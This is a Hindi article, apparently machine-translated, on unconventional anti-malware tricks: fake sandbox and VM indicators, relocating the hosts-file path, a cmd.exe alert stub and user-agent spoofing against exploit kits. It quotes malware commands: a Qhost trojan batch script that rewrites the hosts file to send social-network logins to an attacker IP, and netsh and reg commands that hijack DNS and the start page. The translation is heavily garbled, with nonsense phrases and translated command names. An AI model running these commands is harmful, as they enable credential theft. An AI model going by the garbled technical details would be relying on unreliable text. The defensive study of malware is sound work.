अनौपचारिक मैलवेयर सुरक्षा विधियां

अपने कंप्यूटर को मैलवेयर से बचाने के तरीके पर विवादों और चर्चाओं में, कई प्रतियां टूट जाती हैं और इस विषय पर कई किताबें और लेख मिल सकते हैं, उनमें से ज्यादातर बस एक-दूसरे की नकल करते हुए एक ही बात को अलग-अलग शब्दों में बताते हैं। इस तरह की चर्चाओं और लेखों में सूचना सुरक्षा में रुचि रखने वाले किसी भी व्यक्ति के लिए सुरक्षा के बारे में कुछ नया मिलना बेहद मुश्किल है, जो वह पहले नहीं जानता था या बस इसके बारे में नहीं सोचा था ... लेकिन, कोई फर्क नहीं पड़ता कि यह कितना अभिमानी लगता है, मैं कम से कम जागने की कोशिश करूंगा इस हैक किए गए विषय में मेरी थोड़ी दिलचस्पी है और मैं आपको सुरक्षा के अनभिज्ञ तरीकों के बारे में बताऊंगा, जो कि आप को ब्राउज़रों को समय-समय पर प्लगइन्स को अपडेट करने की आवश्यकता है, आदि को टटोलने के लिए, बाएं लिंक पर क्लिक न करें।

मैलवेयर के कामकाज की कुछ दिलचस्प विशेषताओं के बारे में इस छोटे से लेख में, मैं आपसे आग्रह करता हूं कि लिंक पर क्लिक करने और एप्लिकेशन लॉन्च करते समय एंटीवायरस और आत्मरक्षा के अन्य तरीकों को अपडेट करें, प्रोग्राम सेटिंग्स और चौकसता ... हम "कॉल" शब्द में "नहीं" शब्द जोड़ते हैं और सब कुछ होगा। उनके स्थान



इस लेख को केवल सामान्य क्रियाओं के एक असामान्य अवलोकन के रूप में माना जाना चाहिए, जिसके खिलाफ हम एक रक्षा बना सकते हैं, जिसे "ओह, कूल, मैलवेयर काम नहीं करता है" के रूप में अधिक माना जाना चाहिए! और कुंवारी अनुसंधान में पाए गए कुछ हाइलाइट के रूप में।

यह इस तथ्य से शुरू होता है कि सबसे गैर-स्पष्ट सुरक्षा एक उपयोगकर्ता खाते का उपयोग है, न कि एक प्रशासक, लेकिन चूंकि केवल कुछ ही इस तरह के बलिदान के लिए सक्षम हैं, और अधिकांश व्यवस्थापक अधिकारों के साथ, हम इस अप्रिय विषय पर वापस नहीं आए, लेकिन हमारे पास होगा यह सब एक ही स्टैंड के मद्देनजर है, अचानक किसी दिन, लेकिन काम में आते हैं।

[offtopic] मेरी सीधी भाषा यह बताने के लिए खुजली है कि जावा प्लगइन को बंद करने की आवश्यकता है, और इसे केवल तभी चालू करें जब आवश्यक हो, कि ब्राउज़र में पीडीएफ देखने की वास्तव में आवश्यकता नहीं है, इसलिए फ़ाइलों को हार्ड में सहेजना बेहतर है, और फिर उन्हें कुछ बाईं ओर के माध्यम से देखें यह एक दिलचस्प पीडीएफ दर्शक नहीं है कि आप रजिस्ट्री में कुछ पंक्तियों को दर्ज करके XP पर फ्लैश ड्राइव से ऑटोरन को बंद कर सकते हैं, ..., लेकिन ये सभी अर्ध-स्पष्ट सुरक्षा विधियां मेरे बिना जानी जाती हैं, इसलिए मैं सभी से मुझे क्षमा करने के लिए कहता हूं: जिन्हें पूर्ण सुरक्षा विश्लेषण की उम्मीद है इस तथ्य के लिए पीसी कि वह नहीं होगा, और जो केवल नए की उम्मीद करते हैं - के लिए इस क्लासिक के बारे में मुझे क्या याद आया। [/ ऑफटॉप]

मैं एक बादल, एक बादल, एक बादल, और एक भालू बिल्कुल नहीं हूं

कुछ malvari (हालांकि उनके रचनाकारों) एंटीवायरस, वायरस विश्लेषकों, स्वचालित विश्लेषण प्रणालियों और "अच्छाई के निगम" के अन्य बुनियादी ढांचे के अस्तित्व से अवगत हैं और हर संभव तरीके से कोशिश कर रहे हैं कि वे अपने जीवन को जटिल करें और अपने शिल्प के जीवन का विस्तार करें, मैलवेयर और ओवरले के विश्लेषण को जटिल बनाने के लिए विभिन्न तकनीकी तरीकों का उपयोग करें। उस पर एक जासूस। इसका सबसे सरल उदाहरण क्रिप्टो / पैकेजिंग है, जो तुरंत एक छोटे झुंड को मारता है:
- अगर मालवेयर का पता चला था, तो उसे दोबारा और चॉकलेट में मिलाया
- disassembler / static analyzers बेकार हो जाते हैं (आपको डिबगर के साथ मैन्युअल विश्लेषण की आवश्यकता होती है)
- हर एंटीवायरस एमुलेटर एक साधारण क्रिप्टोकरंट को भी स्पिन नहीं करेगा
एक उदाहरण सबसे सामान्य है, जिसे यह दिखाने के लिए डिज़ाइन किया गया है कि हैकर्स किस तरह से सोचते हैं (उन्हें सही तरीके से अपराधी कहा जाना चाहिए, लेकिन ऐसी परंपरा अवधारणाओं को बदलने के लिए कहीं से चली गई है ...)। और विचार निम्नलिखित (मालवरी की ओर से) है: अगर मुझे लगता है कि वे मेरी जांच कर रहे हैं, तो मैं मुझे कोई नुकसान नहीं पहुंचाऊंगा, ताकि वे यह न समझें कि मैं कैसे काम करता हूं या मेरे बुरे सार को नहीं समझता। वह उसे "अनुभवहीनता" के रूप में परिभाषित करती है:

1. ऑनलाइन व्यवहार विश्लेषण सेवाओं (Anubis, ThreatExpert, ...) के तहत लॉन्च डिटेक्शन
यह कंप्यूटर, उपयोगकर्ता के नाम की जांच करके, पता स्थान, कुंजी में कुछ dll पुस्तकालयों को खोजने के द्वारा किया जाता है
ऑपरेटिंग सिस्टम।
2. आभासी मशीन की खोज (VMWare, सैंडबॉक्स)
विशिष्ट प्रक्रियाओं, रजिस्ट्री कुंजी, हार्डवेयर की खोज करके, विभिन्न कोडांतरक चालों का उपयोग करके सामान्य प्रणाली के साथ मतभेदों की पहचान करना।
3. डिबगर डिटेक्ट
वातावरण में कुछ बाइट्स की जाँच करना, एक खिड़की, प्रक्रिया, चालक की खोज करना।
4. सक्रिय / निष्क्रिय निगरानी उपयोगिताओं का पता लगाना (RegMon, FileMon, RegShot)
यह आमतौर पर शीर्षक द्वारा एक खिड़की की खोज करके पूरा किया जाता है।

इस एंटी-वायरस सुरक्षा का सार बदसूरत सरल है - माल्वारी को यह समझने के लिए कि वे इस पर शोध कर रहे हैं और वह खुद अपने बुरे इरादों को छोड़ देगी। सिद्धांत से अभ्यास की ओर बढ़ना (उचित सीमा के भीतर), हम निम्नलिखित (समान बिंदुओं पर) कह सकते हैं:
1. उपयोगकर्ता और कंप्यूटर का नाम सैंडबॉक्स है।
2. सिस्टम में प्रक्रिया: vmware.exe, VMwareTray.exe। HKLM \ SYSTEM \ ControlSet001 \ Services \ vmware अनुभाग। ड्राइवरों में vmnet.sys फ़ाइल।
3. कई लोग SoftIce ड्राइवर का पता लगाते हैं - बस इसे शुरू करें, यह ड्राइवर को फेंक देगा और यही है (हाँ, वे अभी भी इसकी तलाश कर रहे हैं!)। कक्षा "ऑलीबीडीजी" के साथ विंडो।
4. शीर्षक "फ़ाइल मॉनिटर - Sysinternals: www.sysinternals.com ", "रजिस्ट्री मॉनिटर - Sysinternals: www.sysinternals.com " के साथ विंडोज।
वास्तव में, यह सब करना आसान है (यदि आप चाहते हैं): सिस्टम को स्थापित करते समय, कुछ नाम निर्धारित करें, कुंजियों / फ़ाइलों की एक जोड़ी बनाएं, एक उपकरण लिखें जो कुछ निश्चित नामों के साथ कई खिड़कियां रखेगा, और उपकरण को स्वयं vmware.exe कहेंगे।

गैर-भुगतान होस्टिंग के लिए VKontakte अक्षम है

यहाँ यह आपके लिए मज़ेदार है, और उनकी स्क्रीन पर ऐसा ही कुछ हमारे कई हमवतन लोगों द्वारा देखा जा सकता है। Qhost वर्ग ट्रोजन बहुत लोकप्रिय हैं, जिनमें से कार्य को होस्ट फ़ाइल और स्व-डिलीट को मूर्खतापूर्ण रूप से संपादित करना है, इस प्रकार, लोकप्रिय सोशल नेटवर्क (VKontakte, सहपाठियों) की साइटों के पते बाएं आईपी पते को सौंपा गया है ... और व्यक्ति अपना उपयोगकर्ता नाम / पासवर्ड खो देगा, और एक एसएमएस भी भेजेगा ...
निर्माण की तकनीकी सादगी के बावजूद, ये ट्रोजन रचनाकारों के लिए एक महान लाभ लाते हैं - न्यूनतम प्रयास और अल्पावधि में बहुत सारे VKontakte खाते और धन। मेजबानों की फाइल को सीधे (आरंभिक-> रिकॉर्डिंग) या गोले के माध्यम से संपादित किया जाता है (बल्ले / वीबीएस बनाना और चलाना) - सब कुछ बहुत सरल है: एक निश्चित निश्चित पथ के साथ (C: \ WINDOWS \ system32 \ ड्राइवरों \ etc \ मेजबान) फ़ाइल निहित है जिसके अंत में आपको कुछ पंक्तियों को जोड़ने की आवश्यकता है - यह हैलो वर्ल्ड के बाद किसी भी भाषा में प्रोग्रामिंग का दूसरा पाठ है! और यहां सुरक्षा का एक छोटा सा ट्रिक है, तथ्य यह है कि आदि फ़ोल्डर का पथ रजिस्ट्री में इंगित किया गया है और यदि आप पथ को किसी अन्य फ़ोल्डर में बदलते हैं (सभी फ़ाइलों को पिछले एक से डाल दिया और वहां से रगड़ें आदि), तो ट्रोजन कुछ हद तक आश्चर्यचकित हो जाएगा ...

यहाँ कुंजी है:
HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Services \ Tcpip \ Parameters \\ DataBasePath
HKEY_LOCAL_MACHINE \ SYSTEM \ ControlSet001 \ Services \ Tcpip \ Parameters \\ DataBasePath (और क्रमशः अन्य 00X कुंजियों के लिए)।

इस वर्ग के कुछ ट्रोजन के लेखकों की बुद्धि और राष्ट्रीयता का स्तर कोड को देखे बिना भी उन्नत किया जा सकता है:



बाटनीकी में लगभग (सरलीकृत - अपभ्रंश हटा दिया गया है, केवल TANGLE वैरिएबल को स्पष्ट समझ के लिए छोड़ दिया जाता है कि कैसे बल्ले की फाइलों को आक्षेपित किया जाता है) निम्न सामग्री:

TEATEATEA =% windir% \ System32 \ ड्राइवरों / etc \ Host को होस्ट करें
सेट TANGLE = .co
इको 66.55.140.181 my.mail.ru >>% TEATEATEA%
इको 66.55.140.181 m.my.mail.ru >>% TEATEATEA%
इको 66.55.140.181 vk% TANGLE% m >>% TEATEATEA%

क्या आप कंसोल देखते हैं? नहीं? लेकिन वह है ...

भेद्यता का दोहन करते समय, शेल कोड बहुत बार cmd.exe में हेरफेर करके अलग-अलग कार्य करता है, क्योंकि इसे शुरू करना आसान है (सिस्टम यहां तक ​​कि इसके लिए पथ भी खोजेगा) और इसमें कुछ अक्षर हैं और यह सिस्टम में है, और यह शेलकोड के लिए बहुत महत्वपूर्ण है, विशेष रूप से में नवीनतम तकनीकों के प्रकाश में, पता स्थान में संभव होने वाली हर चीज़ के पते में परिवर्तन।
इसलिए, हमारा मुख्य कार्य हैकर्स को यहां और एक प्रकार की वसा, संदिग्ध रूप से ग्रन्टिंग सुअर को डालना है: आप हमारे स्टब पर सिस्टम cmd.exe (इसकी प्रतियों सहित, dllcache, i386, $ NtServicePackUninstall $ में) को बदल सकते हैं, जिसे जब कहा जाता है, तो बफर को पास किए गए मापदंडों को बचाएगा और अलर्ट जारी करेगा। "जारी रखें, यदि नहीं" और यदि आप सहमत हैं, तो यह समान मापदंडों के साथ सामान्य सीएमडी (पहले नाम के बगल में रखा गया) शुरू करेगा।
आधुनिक मैलवेयर सिस्टम में cmd.exe को एक किलोमीटर लंबे मापदंडों (उदाहरण के लिए, एक ही मेजबानों में परिवर्तन करते हुए) के साथ चलाकर सिस्टम में कई महत्वपूर्ण कार्य करता है।

स्टब को इसे उस कॉन्फ़िगरेशन से पढ़ने की क्षमता से जोड़कर जटिल किया जा सकता है, जिस पर प्रक्रियाएं लॉन्च के बारे में अलर्ट जारी नहीं करती हैं, लेकिन नए cmd में तुरंत मापदंडों को पास करती हैं।
यह विचार मालवेयर और cmd.exe के निरंतर तालमेल को देखते हुए आकार लेना, बढ़ना और मजबूत होना शुरू हुआ - वे प्रत्यक्ष रूप से सबसे अच्छे दोस्त बन गए और इससे भी अधिक - यह उनके लिए प्रत्यक्ष है तारास बुलबा: वह हंसता है, वह खुद को मारता है - जब एक शोषण शुरू होता है, तो वह अक्सर डाउनलोड किए गए को लॉन्च करता है मैलवेयर और स्व-विलोपन विधि को बैट-फाइल के माध्यम से भी लागू किया जाता है, और इसके काम के दौरान, मैलवेयर कभी-कभी शेल को काम पर लोड करता है।
अलग-अलग, मैं zloredy को शामिल करने के अस्तित्व को नोट करना चाहता हूं, जिनके पास सिस्टम में एक पतली exe-file नहीं है, लेकिन जावा सब कुछ करता है - शोषण उसे बताता है कि उसे क्या करना है और वह आज्ञाकारी रूप से निष्पादित करता है। यहाँ एक जीवन उदाहरण है (java.exe प्रक्रिया इन क्रियाओं का उत्पादन करती है):

cmd.exe / C "ChCp 1251 और netsh इंटरफ़ेस आईपी सेट dns नाम =" स्थानीय क्षेत्र कनेक्शन "स्रोत = स्थिर योजक = 5.199.140.178"
reg "hkcu \ Software \ Microsoft \ Internet Explorer \ Main" / v "स्टार्ट पेज" / t REG_SZ / f / d "पीसी: //dubsearch.ru" जोड़ें

अपने आप के लिए, अनुसंधान के प्रयोजनों के लिए, ऐसी उपयोगिता लिखी गई थी, यदि आपको स्रोत कोड या उपकरण की आवश्यकता है, तो आप मुझसे संपर्क कर सकते हैं और मैं इसे आपको समस्याओं के बिना दे दूंगा, मुझे कोई आपत्ति नहीं है।
इस अनुच्छेद में, यह एक और महत्वपूर्ण विवरण पर ध्यान देने योग्य है जो वास्तविक प्रणाली पर सुरक्षा के इस तरीके के उपयोग पर सख्त प्रतिबंध लगाता है: यदि आप इम्युनिटी एंटीवायरस के लाइसेंस प्राप्त उपयोगकर्ता हैं, तो हमारे बाएं cmd.exe से बैच फ़ाइलों को लॉन्च करने के लिए बहुत सारे अनुरोध होंगे।

लिनक्स दाईं ओर, विंडोज बाईं ओर

यह ज्ञात है कि अधिकांश दुर्भावनापूर्ण प्रोग्राम इंटरनेट पर एक विंडो के माध्यम से - एक ब्राउज़र और इसके प्लग-इन के माध्यम से हमारे कंप्यूटर पर आते हैं, इसलिए इस चरण में सुरक्षा सेट करके (फ़ाइल - ऑफ़लाइन काम करें ... सिर्फ मजाक कर रहे हैं) हम खतरों के शेर के हिस्से को काट देंगे। ऐसा करने के लिए, संक्षेप में शोषण पैक के सिद्धांत पर विचार करें:
1. उपयोगकर्ता और उसके संस्करण, ऑपरेटिंग सिस्टम और भाषा के बारे में जानकारी उपयोगकर्ता एजेंट से प्राप्त की जाती है
2. पहले पैराग्राफ (नीचे देखें) के परिणामों के आधार पर, यह निर्धारित किया जाता है कि कौन से प्लग-इन हैं और उनकी भेद्यता का शोषण, या, यदि मौजूदा कारनामों के बीच उपयुक्त कुछ नहीं है, तो कुछ भी बुरा नहीं होता है

बेशक, ऐसे अपवाद हैं, जब किसी भी चीज की परवाह किए बिना, सभी कारनामों को तुरंत पेज कोड (कम से कम कुछ काम करेगा) में धकेल दिया जाता है, लेकिन ज्यादातर शोषण पैक सांख्यिकी, देश द्वारा खाते, एक सुंदर इंटरफ़ेस और अन्य उपहार और सेटिंग्स रखते हैं। इसलिए, सुरक्षा दर्शन इस प्रकार है: आपको उपयोगकर्ता एजेंट को बदलने और वहां यह इंगित करने की आवश्यकता है कि जिसके खिलाफ निश्चित रूप से कोई शोषण आरक्षित नहीं है, उदाहरण के लिए लिनक्स। आदर्श रूप से, निश्चित रूप से, यह पूरी तरह से कुछ के साथ एक लिनक्स ब्राउज़र के साथ UserAgent को बदलने के लिए होगा, लेकिन सिद्धांत रूप में यह कुछ साइटों पर पृष्ठों की थोड़ी विकृतियों को जन्म दे सकता है, हालांकि मैंने इस पर ध्यान नहीं दिया।
सभी लोकप्रिय बंडलों (वही ब्लैकहोल शोषण किट) आपको Google के साथ संवाद करने के लिए एक पल भेज देंगे, यहां तक ​​कि आपके ब्राउज़र पर शोषण की कोशिश किए बिना।

आउटपुट के बजाय

लेख को एंटीवायरस और सुरक्षा के अन्य उचित साधनों को छोड़ने के लिए किसी भी तरह से नहीं लिया जाना चाहिए, जिसके बारे में आप सभी जानते हैं। यह सिर्फ इतना है कि अब, उनके अलावा, आप या तो मेरे द्वारा बताए गए तरीकों का उपयोग कर सकते हैं या उनका उपयोग नहीं कर सकते हैं, लेकिन बस मैलवेयर के जीवन पथ में ऐसी बाधाओं के अस्तित्व के बारे में जानते हैं।